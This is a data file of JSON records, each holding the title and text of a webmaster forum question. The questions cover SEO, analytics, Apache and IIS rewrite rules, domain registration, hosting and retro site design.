{"id":"5135","title":"What is the typical example of old school website design?","text":"I want to build a website for a retro thing that **was** popular in the mid 90s (beginning of the commercial internet). So I want use _old designs_ that was very popular at that time. The first thing that comes to my mind was those \"`under construction`\" animated gifs. People often put animated gifs everywhere.  But also those awful repeating backgrounds. So yes, I want my website to look exactly like in the mid nineties ;) (please suggest practical and usable features, I guess an Java Applet menu would not work today, or saying on the bottom that this website is optimized for Netscape 3) **EDIT** : for those that wants to see the result: Retrology"}
{"id":"5134","title":"Is there webservice to sell layout?","text":"I have some old layouts, and I would like to sell them, are there any popular online auctions service?"}
{"id":"45158","title":"Image rankings on Google Image Search (images hosted on external sites)","text":"I saw that when I stopped uploading images to my own server my content on Google Images disappeared. I stopped uploading images to my server for two main reasons: traffic and storage space on the VPS. I've a big enough site I got +15k unique visitors per day and my site is mainly images based, there's at least 15 pictures per post, 3-4 posts per day every day. My VPS has a 200GB (can be expanded) HDD of space and 3TB traffic per month. Because of all these numbers I've started to upload the images to sites like imgur & Tumblr, mainly... but now all my stuff is gone from Google Images, there isn't a single image of my site when trying different queries associated with the posts, only exceptions are some old pictures that are hosted on my server. So it is obvious that Google doesn't like the fact that I upload the images to external sites, is there a way to tell Google to link those pictures to me in some way? What you think it is better if I start again to upload the images to my own server instead of Tumblr & imgur?!"}
{"id":"33421","title":"same blog post link appearing in different tag pages","text":"I have each blog post tagged with different terms. Each term page lists the tagged post link, so that the link may appear more than once. How does that affect my SEO?"}
{"id":"60725","title":"Changing main domain, redirect backlinks too?","text":"I have a website and would like to rebrand. I have owned the new domain for about 2 years now and I do have about 40 inbound links from my clients that currently link to the old site. When going live with the new website I will of course 301 the old domain to new domain but (how) should I change those inbound links? My options are: 1. keep old links and text and let the 301 do the magic 2. change all the links on my clients pages (I do have access and am allowed to do so) to the new domain 3. change all the links and also set new texts What is the best option SEO wise? Is there a difference at all? When setting new texts should I vary or always use the same (I heard the first option is better?)."}
{"id":"13209","title":"Google Analytics: web profiles missing and data lost","text":"Logged in a Google Analytics account that had been created\/setup with a tracking code for two Websites several years ago. Have not logged in for a while (at least 6-8 months), but at that time, everything was working as expected. Logged in today and noticed that there were no Website profiles. Tried adding an \"existing domain\" profile for one of the missing sites and after an hour or so, the tracking was \"successful\" (green checkbox) but still no historic data. No changes to the account have been done as far as I know. Any idea what would have caused this to be lost and how the historical data be recovered?"}
{"id":"36439","title":"Apache rewrite rule that matches a specific query string","text":"I need to rewrite a specific wordpress url to a 404 error: ?page_id=15 => 404 How can I match the query string? Apparently Apache doesn't feed that to the rewrite mod..."}
{"id":"53326","title":"How to move a Tumblr blog without hurting PageRank?","text":"I have a Tumblr blog which I want to move to somewhere else. I don't want my Google visibility resetted after moving. I am thinking to do it this way; 1) I believe Tumblr allows custom domain names. I will point it to my new domain, and wait for some time for Google to see the changes. 2) I will copy all my posts to new host, but they will use different URL pattern like `category-name\/post-title` 3) In my new host, I will set 301 redirects for every page that existed on old blog to correct place for them on my new blog. For example, links like `post\/61879534273\/title-of-the-page` will be redirected to `category- name\/title-of-the-page` on new host. 4) In my domain name settings, I will point my domain name to my new host. Would this setup work as I intended? If not, is there another way to do it?"}
{"id":"53327","title":"Pixels - A cry for some insight","text":"I'm pretty new to web developing and I'd love some clarification. Although reading more than one book on the topic, I cannot seem to wrap my head around the pixel concept. I encounter problems with this issue when trying to use CSS and pixel units for design that fits different screen sizes. To my understanding a pixel is the most basic unit used by a monitor in order to compose an image on the screen. So if me resolution is 800 by 600, everything on my screen is rendered using those 800*600 basic building blocks. If I were to enlarge my screen resolution, 3 things would accrue: A. The basic image building block(the pixel) would shrink in size B. The pixels would move close together C. Well, more pixels would now be available All these combined lead to a sharper(depending on the viewing distance) and more detail enabling image. Well so far so good. Here is were I start getting lost: To my knowledge a pixel is not a physical, real object. Monitors are not embedded with a few thousand pixels. I am drawn to this conclusion because anyone can change his screen's resolution, making a pixel on his screen bigger or smaller, and adding or subtracting the amount of total pixels on screen. Adding to that, I have herd that different monitors have different pixel densities. For example Apple's retina monitors. Taking all of the above as my knowledge base, These are my questions: 1. If a pixel has no real world constant size, what does comparing different pixel densities matter? Each screen company can define it's own pixel concept and declare the higher density. 2. What does a bigger pixel density mean? Say we take two screens with the same physical dimensions, but with a different pixel density, am I to assert that the main difference would be the larger density screen being able to display a higher max resolution? Or am I to assert that given the same resolution on both monitors, the higher density one would display a sharper, smaller image? 3. If a pixel is not a fixed size within one monitor, is it a fixed size between the same resolution on two different monitors? For example, would two different monitors, set to the same resolution, be comprised of same size, same quantity pixels? I'd love some help (:"}
{"id":"47498","title":"Image folder name for SEO","text":"We develop and sell ActiveX and .NET controls through our website. After doing some redesign works, every product will have its own top-level folder on the webserver. For instance, the home page for our ActiveX grid control looks like our_domain.com\/activex-grid\/. We also need to provide our users with a lot of screenshots used in the product pages. Looking at all this, what is the best location and folder name for these images from SEO perspective (mainly Google Indexing and Image Search)? We have several possible solutions: 1. our_domain.com\/activex-grid\/images\/ 2. our_domain.com\/activex-grid-images\/ 3. our_domain.com\/activex-grid\/screenshots\/ 4. our_domain.com\/activex-grid-screenshots\/ 5. our_domain.com\/activex-grid\/ The last option means we will place images next to the HTML pages, but we would not want to use this mix of image files and pages as it is harder to organize\/find our data in this case. However, I admit the last option can be the best for SEO as (1) we do not have extra unneeded keywords like 'images' or 'screenshots' in full image URLS and (2) we do not place our images in deep folders so the keywords used in URLs have less value."}
{"id":"36388","title":"My VPS cannot send email","text":"**Webmaster Newbie Question** I have a low end vps (128MB RAM)running on Debian.I used a bash script by ilevkov to setup the site. After some trial and error, I managed to set up a WordPress on it. Just now I found out that my VPS can't send any email. I tested using the WordPress reset password email, and it shows > The e-mail could not be sent. Possible reason: your host may have disabled > the mail() function... After some Google session I noticed that I can send email from ssh. So I tried mail myemail@gmail.com Subject: Halo dion some message . and the result said EOT \/usr\/lib\/sendmail: No such file or directory \"\/root\/dead.letter\" 9\/243 . . . message not sent. **The question** How can I fix my VPS mail setting?"}
{"id":"54670","title":"Websense is blocking our website as “Potentially Damaging Content”","text":"A lot of people are complaining that my company's website `www.justjus.com` is being blocked by their organisations. Anyone that has tried to access our website from a large organisation has been unable to do so. Is there any reason why this is and is there any way in which I can fix the problem?"}
{"id":"58355","title":"Google Analytics API: return data on HTTP status codes?","text":"I'd like to get information out of the Google Analytics API about the HTTP status codes returned by my application. For example: * For a given date range, I'd like to know how many 404 responses were returned. * I'd like to filter only pages that were returned with a 200 code - excluding error pages. Is this possible with v3 of the Analytics API? I've been reading through the reference manual but I can't find a full list of all the dimensions and metrics that are supported."}
{"id":"33600","title":"Use Apache to prevent a PHP script from connecting to a specific domain","text":"Is there a way to prevent apache from connecting to a specific domain e.g. somesite.com? I have a PHP script that trying to connect to specific host, and I would like to prevent that."}
{"id":"20005","title":"Does Dreamweaver support inline CSS styles?","text":"I don't write HTML every day, so DreamWeaver is a useful crutch. Often I find myself writing content for a site where I have no control over the page header. I need\/want to use some one-off CSS to do some layout, etc. If I'm not mistaken, the only way I have to do that is to use inline CSS. DreamWeaver provides nice dialog-box-based support for editing CSS in a stylesheet, but AFAICT, not for inline CSS. Am I missing something? Obviously, I can hand-edit - I'm looking for pull-downs, etc."}
{"id":"20004","title":"How to correctly count pageviews?","text":"I've been using a free 3rd party sitestats counter for years, and I would like to get rid of the external party. For this simple thing I'm only interested in pageviews (other stats I use google analytics for). So, I'm performing an insert on the footer of every page (excluding all bots I have seen coming along in the last week), but for some reason my counts are 45% higher than the old counter and 40% higher than google's pageview counts. Are there any additional checks I need to do to prevent counting incorrect pageviews? Thanks!"}
{"id":"45380","title":"Duplicated contents warning in Google Webmaster Tools even though I use canonical links","text":"I have some duplicated pages that show the exact same content on different URLS on my website, and I use canonical links to point them all to one of the pages. So if Page A, B, C, D and E have the same content, the canonical links on pages B,C,D, and E all point to page A, and page A does not have a canonical link. I see some warnings in _Google Webmaster Tools_ -> _Optimization_ -> _HTML Improvements_ , regarding duplicated descriptions, titles, and more even though I have used the canonical links. Have I misunderstood how canonical links work? Isn't this their correct usage?"}
{"id":"60401","title":"How do I forcibly obtain a domain?","text":"I would like to acquire a domain name which is currently completely unused except to redirect to an unrelated domain's website. I have performed several port scans and the only active port is 80 which promptly sends a 302 on HTTP Get. The site may be held by a domain squatter. How can I force them to give up the site? It is, for all intents and purposes, unused. If it is registered to a domain squatter, how can I make it expensive for them to keep?"}
{"id":"34876","title":"How to automate website UI testing","text":"I would be rolling out many incremental updates\/features to my website and I want to make sure no existing functionality is affected. How can I automate this process? I know there are some tools that test the UI but am not sure which ones? I would like to run a sanity test every week and be able to know if anything got broken."}
{"id":"44163","title":"Convert RSS feed in one line","text":"I need to use an RSS Feed in a Digital Signage application (Xibo). But to scroll the feed on right or left I need it to be presented on a single line or only the first line will be displayed. I've looked at Yahoo Pipes but don't seams to make it, does anyone know a webapp or software i can use to convert the multi-line RSS Feed into one single line?"}
{"id":"44160","title":"domain hosting redirect","text":"I have registered a cheap domain (no hosting) and have a web server (AWS). In the domain registration I can forward to the web server. This means that if a user enters my domain they see a **frame** of my website. This means if they click on another page the address still shows my domain but not domain\/page. Is there a better way to do this, more SEO friendly as well?"}
{"id":"65722","title":"Searching for Googlebot in server logs","text":"I'm trying to use Heorku Logentries to track Googlebot's activity on my server. (Although, I think this could broadly apply to tracking Googlebot activity on any server.) I can see that I have results from Googlebot just by paging through my logs, but if I search for \"googlebot\" or \"\/googlebot\" in Logentries I get 0 search results. Same if I grep for \"googlebot\" in my log file. The Logentries team informed me that the bot results I see are IPs resolving, which is visible in the front end but not part of the log itself. As a workaround, they suggested that I figure out all the IP addresses used by Googlebot then do a multiple search using the OR operator in the search bar. But there has to be a more efficient\/remotely possible way to do this, right?"}
{"id":"44167","title":"Trouble reading htaccess canonicalization","text":"I just took over development of a site and am having trouble figuring out the canonicalization rewrite rules (not my forte). I've pasted the code below. The first bit seems straight-forward enough, stripping out index.html. The second part redirects non-www TO www and also appears to be redirecting to NO trailing slash: www.example.com (no \"\/\"). I actually can't confirm the trailing slash part though (header sniffers don't show the \/ redirect). Is there a trailing slash redirect in place? (btw, this code is years old, so am open to better, more efficient options). * * * RewriteEngine on RewriteBase \/ # Redirect INDEX.HTML RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\\ \/(([^\/]+\/)*)index\\.html\\ HTTP\/ RewriteRule index\\.html$ http:\/\/www.example.com\/%1 [R=301,L] # Redirect TO WWW with no trailing slash? RewriteCond %{HTTP_HOST} !^www\\.example\\.com RewriteRule (.*) http:\/\/www.example.com\/$1 [R=301,L]"}
{"id":"8563","title":"Strange named anchor behavior - only working with the hash mark after a trailing slash","text":"I have an odd problem. Links to named anchors on a site I'm working on are only working correctly if the pound\/hash sign is placed after a trailing slash (e.g. example.com\/about\/#who), rather than directly after a page name (e.g. example.com\/about#who). What could be causing this? I should note that this is on a site running WordPress, with the WPML translation plugin. I'm not sure if that's causing the problem, though (otherwise I'd ask on the WordPress Answers SE site). Any suggestions as to what could be causing this strange behavior?"}
{"id":"44168","title":"Does using AdSense in slide-out div violate Google's TOS?","text":"I want to encourage users to register on my website, so as a registered member perk, the ads would be removed, so I was thinking of implementing AdSense in a div that slides out from the bottom of the page and has a Close button (for non-registered users). Would either of this be against Google's TOS?"}
{"id":"47466","title":"Setup basic proxypass in Apache","text":"I have a web application that communicates to a web service deployed on the same server. The web app was written with Tibco General Interface and works well only when it is running locally on the development system. When I deploy the web app to the Apache server it fails with code 200 apparently due to cross domain data. I use Firefox as a browser. I have tried changing Internet Explorer to access cross domain data and it works however IE is not an option. Web application runs on `192.168.2.205` (port 80). Web service runs on `192.168.2.205:8040` I have tried a number of things with proxypass inside Apache with no luck."}
{"id":"47467","title":"How can you set cookieless subdomain with Quantcast","text":"I have correctly setup Google Analtycis so GA is not setting cookies for my subdomain. I mean for my static subdomain. But Quantcast is setting. What i wonder is can i prevent Quantcast to set cookie to my static subdomain which is static.example.com?"}
{"id":"47462","title":"How can I set parameters in Google webmaster tools so that my dynamic content is indexed?","text":"I have read questions about URL parameters in Google Webmaster Tools in this site and the Google Webmaster Help Center but I have a problem. My site searches in the database and show some information. These two URL display some data: http:\/\/mydomain.com\/index.aspx?category=business http:\/\/mydomain.com\/index.aspx?category=graphic&City=Paris 1. In URL parameter section, I can only define parameter category, how Google can detect proper values (business, graphics, real estate...)? Every word is not valid for search. 2. If My page name is `default.aspx` or anything else, where I should define it? 3. If I use URL rewriting like `http:\/\/mydomain.com\/search\/category\/business`, my settings must change?"}
{"id":"30192","title":"article url format for google news sitemap","text":"I have 2 questions about url for google news sitemap. 1. Is it good that I use= url for sitemap witch like `http:\/\/www.mydomain.com\/news?query=football&title=Poland-coach-Smuda-names-Euro-2012-squad`, the page is a search results include the article `Poland coach Smuda names Euro 2012 squad` and 10 search result with keyword `football`? Or I should do an independent page only one article and url like `http:\/\/www.mydomain.com\/news-article\/Poland-coach-Smuda-names-Euro-2012-squad`? 2. Could I do some url like `http:\/\/www.mydomain.com\/news#!Poland-coach-Smuda-names-Euro-2012-squad` which url rule under AJAX hash crawling from google for the sitemap?"}
{"id":"47460","title":"How do companies fake a domain registration date?","text":"On a few separate occasions I have lost prominent domains to the scourge known as cyber-squatters. They've even snatched up a domain within 5 minutes of checking availability. One domain in particular is my business DBA name. I looked to register it a couple of years ago and it was available, and within a few days it was magically taken by an Arabian person claiming to live in Kansas. The site's an obvious parked domain, showing ads to try and rake in profit off of my company's name. Here's the kicker though... The domain 'claims' to have been registered in 2003. Bullhockey. It was available in 2011, and no record existed. **How are they able to lie about the date registered to ICANN?**"}
{"id":"68699","title":"Can I use Google Analytics for multiple versions of an application on different domains","text":"We have a commercial web application which customers buy and host on different domains. I want to add google analytics tracking to all the instances of the application that will give me aggregate data across all versions of the application. I am not interested in tracking the same users across the different domains (as a given user will only ever use one instance of the application). Can I just set up a new analytics account and add it to all the instances of the application and it will just work? One complication is that customers often want their own analytics tracking for their instance of the application. Therefore I am likely to need two trackers on each page (one for them and one aggregate one for me) which I am planning to tackle using this approach: https:\/\/developers.google.com\/analytics\/devguides\/collection\/analyticsjs\/advanced#multipletrackers"}
{"id":"47425","title":"Tables and SEO - The big conspiracies","text":"Now, I've heard many (if not too many) conspiracies\/myths about tables and SEO. Now, I'm in a state of confusion, and I have no idea what to do. Below, I will write two SEO and table myths that I need clarification about. **Tables for page layout:** It's been said that you should not use tables for design, as it has a negative impact on SEO. However, in a video my Matt Cutts, he states that it doesn't matter, and that Google has to deal with both CSS and table layouts (http:\/\/www.youtube.com\/watch?v=fL_GZwoC2uQ). Now even after this, people still have different opinions, and I never get a proper answer. I currently use the Atahualpa theme for Wordpress, and it has been a very popular theme. It even has some SEO features built in. However, I have a problem. This theme uses a table layout, and I was wondering if this theme would hurt my SEO. Should I still continue using this theme? **Tables are bad just in general:** Now, I've heard a lot of comments that say tables are bad for SEO just in general. Now personally, I feel as this is completely false. However, I need a professional's view on this matter to guide me in the right direction. Are tables good or bad for SEO?"}
{"id":"48737","title":"Google Webmaster Tools not showing links to my site: \"data not available\"","text":"Three days ago I received a notice from Google Webmaster Tools about unnatural inbound links, but my GWT does not show any links to my site. How can I check which unnatural links GWT means?"}
{"id":"15786","title":"Google webmaster tools Site Performance says site is faster but shows it slow in the graph","text":"Looking into Google webmaster tools it happened to me many times to see for some of my sites these type of inconsistency, **in the text they say my site is faster** than 63% of sites, **but when I look at the graph** the site is on the **SLOW background** (over the 1.5 seconds line). **So do you know if my site is considered fast or slow by Google?**  Is it me not able to read properly the graph?"}
{"id":"48734","title":"Internet Explorer 10 aborting some stylesheets","text":"Strange problem exhibited only with IE10 on Windows 8. No other IE version, no other OS version. Some stylesheets are aborted, apparently in transport, intermittently. This seems to happen when there are three `<link>` tags in sequence. The tags are correctly specified and are being served from Amazon S3 over HTTPS. The first two items abort when (or prior to) loading. Altering the order of the items appears to make the first two items abort in all cases. This problem is intermittent, and different people can reproduce with differing success. I have seen a lot of conjecture about this on the web but no solution."}
{"id":"6898","title":"how to keep a visitor 100% anonymous","text":"Maybe a broad question, but how can you keep a visitor to your site 100% anonymous on your server. The site is written in PHP. No trace of what he or she has visited on your site. Any suggestions?"}
{"id":"48738","title":"Can a spamhouse listing affect your IP long term?","text":"Lately I am getting a lot of mail delivery fails like 20% of the time. It used to be less, then some domain on our shared hosting was blacklisted in spamhouse and all emails couldn't be delivered. The problem was sorted and our IP isn't blacklisted any more, but the delivery rate is strangely low lately. So I am asking if your IP is delisted from _spamhouse_ can you still be affected by the previous listing? Also what can be learned from a mail delivery fail? This is the error I'm getting: A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed:"}
{"id":"29404","title":"Disabling frequent reloads of visitor","text":"In my website i have some pages, that makes connections to 3-4 sites and checks the results with my database and gathers a full table. This table includes all the data that the visitor would need. You can think it as scores table of latest 100 basketball, football and valleyball matches. Users see who won, latest score, location of game, bets data etc. The sources of data changes every 15 minutes or so. So if the user reloads the page in this period, after many CPU consuming and database querying he will see nearly the same table. (There exist small differences) I don't save table data into my web storage, because the data is invalid after 1 hour. My concern is, if visitor reloads the page, this process will be done again again. How can i make solve this? First ideas that come to my mind: * Saving page data in localStorage of browser. Storing last access date of page in cookie. And when the page is reloaded, checking the time difference. If smaller than 15 minutes than get data from local storage and show same page. But in this scenario. I will be limited to 5 mb storage limit and browser compatibilities. * Saving page data in my database and show from there. The problem of this is, the data is nearly 200 entries per page. When i use this model in 50 pages, i will have too much tables and data, where the data will be invalid in an hour. * Saving page data in my web storage. This is better option in beginning. But is not scalable. When visitor number becomes big, this won't be maintainable. I would be happy if you can share some ideas, or better practices. Thank you"}
{"id":"29400","title":"Missing data for specific language in Google Analytics","text":"We have a multilingual website, Swedish (default), English, Norwegian. Google Analytics tracking code (the same code for all languages) is present on all pages. Problem: We get data for the default language in Analytics, but can't find any data for the other languages pages. The english language is prefixed with \/en, Norwegian with \/nb. We know we have traffic, but it doesn't show in GA."}
{"id":"52310","title":"Choosing a Domain for SEO","text":"I am building a new website and I have a couple domains to choose from. For SEO what are tips for choosing a good domain? For instance which, in SEO terms, would be better: `websitesfor[subject-of-website].com` or `[subject-of-websites]-websites.com`"}
{"id":"44383","title":"Migrate facebook app from WAMP Server localhost to facebook","text":"I have developed an app for Facebook and it is currently hosted via a localhost WAMP Server. My question is how can I put my app on Facebook? What would be the steps I must follow? Please note: My Facebook Application doesn't need any database to connect to, instead the app that I have made will return a JSON file containing on account information."}
{"id":"44380","title":"Design scrollable table structure","text":"I'm currently looking for a way to design a table structure with HTML and JS which should be 1. Horizontally Scrollable (It has to be possible to dynamically add new columns) 2. Tolerant to changing sizes (e.g. when adding some text or controls) of cells. E.g. when doubling the size of the second cell in the second row every other cells should stay in the correct columns. 3. It should be possible to adjust to rendered columns to the width of the screen. 4. It should be possible to use the same layout with swiping on mobile devices. 5. >= IE8, FF, Chrome must be supported Currently I'm thinking about a DIV based solution where the correct table structures of the columns and rows are preserved by resizing column and cell DIVs if needed. That's how it should look:  Is the DIV based solution apropriate or is there a possibility of using the default HTML table?"}
{"id":"1279","title":"Good source for posting videos to embed on your website","text":"I have a website where I want to embed video tutorial on my blog posts. Now the video's that I make are HD and have not past the 10 min mark yet, maybe in the future. Now I have the videos just on youtube, it has HD, and all of them are under the 10 MIN. The only **downside** I have until now is that I haven't found a way to have a HD version of the vid embedded correctly on the page. If I choose HD the video player is 1280X960 on the page. The normal switch is not there. Are there any good alternatives for this available online. I have checked vimeo, but for the HD version you have to pay. I make no money from the website so I am not willing to pay for that. Are there any alternatives that I can use where I can post my videos. There are certain criteria I would like to have if possible. _I want to be able to post HD .mp4's and the video's I embed on my website must have the function to play in HD._ _I want to be able to make vids longer than 10 MIN._ _It would be nice if the video site is popular, so it could attract some visitors to my website via the video's_ _This services have to be FREE_ I know that are a lot of requirements to ask for free, but this is just my ideal set-up, I could settle for less."}
{"id":"63507","title":"Services - separate sites or one site - impact on SEO?","text":"I have a client who is a lawyer that specializes in Criminal Defense and DUI, however, he does not show up well in Google. In researching the sites that rank better have much more content for those specialties than his site does and my thought it that he needs to add more quality content to rank better for those searches. On his site he mentions his specialties, but also he has various personal things on his sites that reflect his interest. These are clearly separated from the business portion. My questions are: 1. should heseparate his personal information into a new domain? 2. should he have a separate URL for each of his specialties? 3. or would one URL work as long as everything is clearly separated? I read once that for legal services to rank well you should make a separate site for each specialty and have that site focus solely on that service."}
{"id":"33522","title":"Google indexed my home page incorrectly: How can I fix it?","text":"I finished my website and launched it, I think I had a problem with my `robots.txt` - so I changed it to look like this: 03\/08\/2012 # Allows all bots Sitemap: http:\/\/www.mysite.co.za\/sitemap.xml User-agent: * Disallow: \/dashboard\/ When I google my `domain.co.za` - I get this back: Home A description for this result is not available because of this site's robots.txt – learn more. You've visited this page 3 times. Last visit: 2012\/08\/15 Now since I fixed this and added a 301 redirect to redirect `mysite.co.za` to `www.mysite.co.za` I would love it if google bot would come do a visit. Is there anything I can do to get this fixed?"}
{"id":"56347","title":"Duplicate content: two pages with just a little change in code are still considered duplicate content?","text":"I have a website which talks about cars and motorcycles. Once in, the user can choose wether to browse the cars section or the motorcycles section. Once chosen his section, the url will have a `\/section\/` part in it. The page requests are always the same. The difference is just about the content. The structure of a common page is the following: +++++++++++++++++++++++++++ + SLIDER WITH PHOTOS + + AND SMALL DESCRIPTION + +++++++++++++++++++++++++++ PAGE CONTENT +++++++++++++++++++++++++++ If i am browsing the car section, the slider will be populated with car photos and some text about car. Else, if i am browsing the motorcycles section, some bikes with some text will populate the slider. **EXAMPLE** Let's take as example the **news** page. If i am browsing the cars section, my URL will be `mywebsite.com\/cars\/news`. Else, if i am browsing the motorcycles section, the url will be `mywebsite.com\/motorcycles\/news`. Here is the trick! My website in both situations will run the script `news.php`. Different news will be displayed, because basing on URL, different posts will be fetched from db. This means, `mywebsite.com\/cars\/news` and `mywebsite.com\/motorcycles\/news` will not generate duplicate content, because the content delivered is totally different. **THE PROBLEM** Let's take as example the **about us** page. In this page i show information about the website. These information are the same wether i am browsing the car section or the motorcycles section. This means, if i visit `mywebsite.com\/cars\/about-us` or `mywebsite.com\/motorcycles\/about-us` the slider part (and some other little menus) will be slightly different, having different pictures and descriptions, but the page content will be exactly the same. **THE QUESTIONS** 1. Being (in the **about-us** page example) 90% of the page identical, will crawlers see it as duplicate content (and penalize me)? More in general, what crawlers consider as duplicated content are two identical pages or two ALMOST identical pages? 2. Should I decide which one is the best version and put `rel=\"canonical\"` in it? **NOTE:** I would prefer not removing `\/section\/` from my URLS, for now."}
{"id":"54758","title":"Updating Pages after migration of website","text":"My web site was coded in Coldfusion and over the years has obtained a good ranking. I recently migrated the front-end to a Wordpress site and wanted to know what is ideal way of updating Google and the various search engines of of the updates. For example, the home page of `index.cfm` is no longer valid since it's `index.php`. I've submitted an updated `sitemap.xml` file to Google. I'm sure my site will slip some while the search engines re-index my site but I'd like to try and minimize this as much as possible with the holidays coming up (my site is a service oriented site that caters to people who travel during the holidays). Right now, the old `.cfm` pages are still online but are re-routed to the appropriate Wordpress page (for example, `about.cfm` is now routed to `\/about\/` using a cflocation tag.). Not sure if I should pull down the `.cfm` pages all together or leave them in place until the new pages are picked up by the search engines. Any advice would be helpful."}
{"id":"1270","title":"Product catalog API","text":"What is the common practice in creating (and updating) the product catalog (all products\/models\/tech specs) for online electronics store? Does any of the manufacturers\/OEMs have an appropriate API to pull the data? Thanks, sbereli"}
{"id":"613","title":"Websites to detect who hosts a website?","text":"What sites are there to detect what web host is hosting a website?"}
{"id":"1484","title":"Is there a free, open-source question and answer (Q&A) application similar to StackExchange?","text":"I'm launching a Q&A site similar to StackExchange. Does anyone have any recommendations for free self-hosted Q&A software that is easy to customize? I've seen this wordpress theme but it isn't free and, therefore, isn't what I'm looking for."}
{"id":"14604","title":"Q&A system for website in php","text":"> **Possible Duplicate:** > Is there a free, open-source question and answer (Q&A) application similar > to StackExchange? I'm looking for a good, open source (if possible) q&a (questions & answers) module for websites in php, with a rich functional scope and highly configurable (interface, implementation languages ...). I'd like to know what you can recommend. Thanks in advance"}
{"id":"8248","title":"Tracking PPC and website stats","text":"What are some of best tracking software packages available for PPC and a website?"}
{"id":"30808","title":"how should cache control be set in the requests","text":"i know that cache control headers can be set on the pages coming out from the web-servers (that is responses). Does anyone know how cache control header should be set on the requests? Should it be done via client-side scripting? If yes, how?"}
{"id":"15565","title":"How do I find out which Registrar a domain is registered through?","text":"I'm hoping to backorder a domain that looks promissing. I've read that if it's through Network Solutions then you should use SnapNames b\/c it automatically does the auctioning\/rselling for NS."}
{"id":"30805","title":"Permissions & File Structure w\/ nginx & multiple sites","text":"I am using nginx for the first time as a long time Apache user. I setup a Linode to test everything and to eventually port over my websites. Previously I had \/home\/user\/www (wwwroot) I am looking at doing something similar with \/srv\/www\/domain\/www (wwwroot) Rather than using \/srv\/domain (wwwroot), the reason is many of the sites are WordPress and one of the things I do for security is to move the config file one level above wwwroot and can't have multiple configuration files from multiple domains in the same top level folder. Since I own all the sites, I wasn't going to create a user for each domain. My user is a member of www-data and was going to use 2770 for www and have domain\/www for each new domain. www would be owned by group www-data. Is this the best way to handle this?"}
{"id":"8796","title":"Will many links to the same page without nofollow penalize the host site in the search engine rankings?","text":"May be a silly question, but I'll give it a shot :). On my forum app I would like to allow users with sufficiently high reputation display links to their home pages under every post - without the nofollow attribute (while lower rep users will have the nofollow) I am happy to help the site contributors improve rankings of their own, but not sure if this can actually deteriorate the rank of the host (the site that hosts those links) - as potentially the same link to the user's home page may be peppered in the pages of the host. What do you think? Thanks."}
{"id":"26897","title":"2 the same page addresses in generated sitemap?","text":"I tried different sitemap generators and they generate 2 data structures refering to the same webpage: On the beginning: <url> <loc>http:\/\/pundaquit.republika.pl\/<\/loc> <url> <loc>http:\/\/pundaquit.republika.pl\/index.html<\/loc> <priority>0.6400<\/priority> I think sitemap generator should recognize main webpage in a domain and produce only one `<url><\/url>` structure. Should I delete one of `<url> <\/url>` structure and which one? Does anyone know sites which explain this issue?"}
{"id":"26894","title":"Searching a query with Asterisk as * on Google","text":"When searching on Google the query `function* js`, Google regards '*' as a placeholder to a word instead of a normal character. How do you get it to treat Asterisks normally?"}
{"id":"26892","title":"In IIS what is the difference between rewrite rules managed by URL Rewrite Module versus those only in web.config?","text":"In IIS what is the difference between rewrite rules managed by URL Rewrite Module versus those which are only in the web.config file and do not appear in the URL Rewrite Module? **Using the URL Rewrite Module in IIS 7.5 to add a rule...** I notice that the rules, when looking at the web.config, are quite readable, and they are rooted in . **In contrast, using rewrite rules via web.config not managed by the URL Rewrite module...** do not seem to be as readable (perhaps this is not true for all), and these rules are rooted in instead of . **QUESTION:** What is the difference, and what are pros\/cons of using each? Personally, I like the ability to use the IIS module because it gives you an interface to test rules. Example of a rule from the IIS 7.5 Rewrite Module: <rewrite> <rules> <rule name=\"LowerCaseRule1\" stopProcessing=\"true\"> <match url=\"[A-Z]\" ignoreCase=\"false\" \/> <action type=\"Redirect\" url=\"{ToLower:{URL}}\" \/> <\/rule> <\/rules> <\/rewrite> Example of a rule not managed by the IIS 7.5 Rewrite Module: <rewriter> <rewrite url=\"^\/([0-9]+)\/([0-9]+)\/.*.aspx$\" to=\"~\/ContentDisplay.aspx?CID=$1&SID=$2\" processing=\"stop\" \/> <\/rewriter> note: I added a linebreak to the second example of code after \".aspx$\""}
{"id":"26890","title":"What does a domain register do? (e.g namecheap)","text":"I have a basic understanding of how domains work, and would like to fill in some gaps. Lets say you make a server request for `google.com` how do you get the `IP Address`? > Do you request your `ISP`, with a domain for an IP, that request the global > `DNS` that requests your domain register? Basically is this what happens? client asks ISP what is IP for \"google.com\"? ISP asks Global DNS what is IP for \"google.com\"? Global DNS asks namecheap what is IP for \"google.com\"? returns IP back up stack to client **or** > Do you just send a http request packet with domain and your ISP just handles > it? If so how? **and** > What do domain registers like `godaddy` and `namecheap` really do? I would love some resources and knowledge to be pushed my way. Thanks in advance."}
{"id":"29667","title":"Does re-directing a penalized website fix the problem","text":"A client has consulted us a case where they were not able to remove all the paid links from their website, they decided to redirect everything to a new domain, and have a fresh start. The question here is, if they redirect the old website to this new domain, will the penalty be transferred to the new one as well?"}
{"id":"39457","title":"My site is not recognised by Google","text":"My site http:\/\/www.mcqtoday.com is indexed by google, but even if type the full name of my site in google search it does not show my site. Bing, and Yahoo do it well. There is no crawling error I checked in google web master."}
{"id":"8425","title":"Archive of historic Firefox builds for Windows?","text":"For testing web content in Firefox I'm searching for old versions of Firefox Windows installers. Evolt is not up to date with historic Firefox builds. I'm looking for just the main point releases. Sources can be downloaded from Mozilla Developer Network (MDN formerly MDC) but I don't want to build the browsers - I just want to install them."}
{"id":"8422","title":"How can I have more clicks than page views in AdSense","text":"One of my AdSense ad units (in the new beta interface) occasionally says that I have more clicks than page views which gives a CTR of over 100%. Does anyone know how this happens? I'm assuming it has something to do with when a page view is recorded, versus when someone clicks, but it happens regularly enough (on a daily report) that it can't just be that a bunch of users click an ad before the page displays fully."}
{"id":"8420","title":"Permanent links format in wordpress: How to Choose?","text":"In WordPress, I have the option to choose how the permanent URL looks like. The common format is Year\/Month\/Day or Year\/Month for blogs. However, I’ve occasionally seen some successful blogs take the date out, such as: http:\/\/mixergy.com\/dane-maxwell-zannee-interview\/ What’s the impact of the above format on SEO? Obviously, it’s more pleasant on the eye but does it negatively impact search ranking? Thank you"}
